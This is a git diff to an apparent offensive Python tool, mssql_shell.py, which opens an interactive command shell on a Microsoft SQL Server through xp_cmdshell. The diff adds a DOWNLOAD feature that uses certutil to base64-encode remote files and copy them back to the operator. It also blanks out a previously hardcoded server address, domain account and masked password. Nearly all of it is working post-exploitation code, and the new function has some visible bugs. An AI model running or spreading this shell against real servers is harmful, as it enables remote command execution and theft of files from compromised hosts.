diff --git a/mssql/mssql_shell.py b/mssql/mssql_shell.py index d3338ac..8c85d85 100644 --- a/mssql/mssql_shell.py +++ b/mssql/mssql_shell.py @@ -2,24 +2,40 @@ from __future__ import print_function # Author: Alamot +# Download functionality: Qazeer # Use pymssql >= 1.0.3 (otherwise it doesn't work correctly) -# To upload a file type: UPLOAD local_path remote_path +# To upload a file, type: UPLOAD local_path remote_path # e.g. UPLOAD myfile.txt C:\temp\myfile.txt # If you omit the remote_path it uploads the file on the current working folder. +# To dowload a file from the remote host, type: DOWNLOAD remote_path [local_path] +# e.g. DOWNLOAD myfile.txt +# Or DOWNLOAD remotefile.txt /tmp/file.txt +# Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512). import _mssql import base64 +import ntpath +import os +import random import shlex +import string import sys import tqdm import hashlib +from io import open +try: input = raw_input +except NameError: pass -MSSQL_SERVER="10.13.38.11" -MSSQL_USERNAME = "Domain\\sa_user" -MSSQL_PASSWORD = "**********" +MSSQL_SERVER = '' +MSSQL_USERNAME = '' +MSSQL_PASSWORD = '' BUFFER_SIZE = 5*1024 TIMEOUT = 30 +def id_generator(size=12, chars=string.ascii_uppercase + string.digits): + return ''.join(random.choice(chars) for _ in range(size)) + + def process_result(mssql): username = "" computername = "" @@ -43,7 +59,7 @@ def upload(mssql, stored_cwd, local_path, remote_path): data = f.read() md5sum = hashlib.md5(data).hexdigest() b64enc_data = "".join(base64.encodestring(data).split()) - + print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB") for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"): cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"' @@ -60,6 +76,57 @@ def upload(mssql, stored_cwd, local_path, remote_path): else: print("ERROR! MD5 hashes do NOT match!") + +def dowload(mssql, stored_cwd, remote_path, local_path=""): + try: + remote_path = remote_path.replace('"', '').replace('\'', '') + if local_path == "": + local_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), ntpath.basename(remote_path)) + + print("Downloading " + remote_path + " to " + local_path) + + tmp_filename = '%TEMP%\\' + id_generator() + ".b64" + cmd = 'del "' + tmp_filename + '"' + mssql.execute_query("EXEC xp_cmdshell '" + cmd + "'") + + cmd = 'certutil -encode "' + remote_path + '" "' + tmp_filename + '"' + mssql.execute_query("EXEC xp_cmdshell 'cd " + stored_cwd + " & " + cmd + " & echo %username%^|%COMPUTERNAME% & cd'") + + cmd = 'type "' + tmp_filename + '"' + mssql.execute_query("EXEC xp_cmdshell 'cd " + stored_cwd + " & " + cmd + " & echo %username%^|%COMPUTERNAME% & cd'") + + certutil_result = list(mssql) + + if "CERTIFICATE-----" not in str(certutil_result[0][0]): + raise Exception("ERROR! Encoding with Certutil failed!") + + file_b64 = "" + for row in certutil_result[1:-4]: + columns = list(row) + file_b64 += row[columns[-1]] + + with open(local_path, 'wb') as f: + data = base64.b64decode(file_b64, None) + md5sum = hashlib.md5(data).hexdigest() + f.write(data) + + tmp_filename = '%TEMP%\\' + tmp_filename + ".b64" + cmd = 'del "' + tmp_filename + '"' + mssql.execute_query("EXEC xp_cmdshell '" + cmd + "'") + + cmd = 'certutil -hashfile "' + remote_path + '" MD5' + mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'") + if md5sum in [row[row.keys()[-1]].strip() for row in mssql if row[row.keys()[-1]]]: + print("MD5 hashes match: " + md5sum) + else: + Exception("ERROR! MD5 hashes do NOT match!") + + return "echo *** DOWNLOAD PROCEDURE FINISHED ***" + + except Exception as e: + return "echo *** ERROR WHILE DOWNLOADING THE FILE: " + e + " ***" + + def shell(): mssql = None stored_cwd = None @@ -74,7 +141,7 @@ def shell(): mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'") (username, computername, cwd) = process_result(mssql) stored_cwd = cwd - + while True: cmd = raw_input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''") if cmd.lower()[0:4] == "exit": @@ -87,10 +154,16 @@ def shell(): else: upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2]) cmd = "echo *** UPLOAD PROCEDURE FINISHED ***" + elif cmd[0:8] == "DOWNLOAD": + dowload_cmd = shlex.split(cmd, posix=False) + if len(dowload_cmd) < 3: + cmd = dowload(mssql, stored_cwd, dowload_cmd[1]) + else: + cmd = dowload(mssql, stored_cwd, dowload_cmd[1], dowload_cmd[2]) mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'") (username, computername, cwd) = process_result(mssql) stored_cwd = cwd - + except _mssql.MssqlDatabaseException as e: if e.severity <= 16: print("MSSQL failed: "+str(e))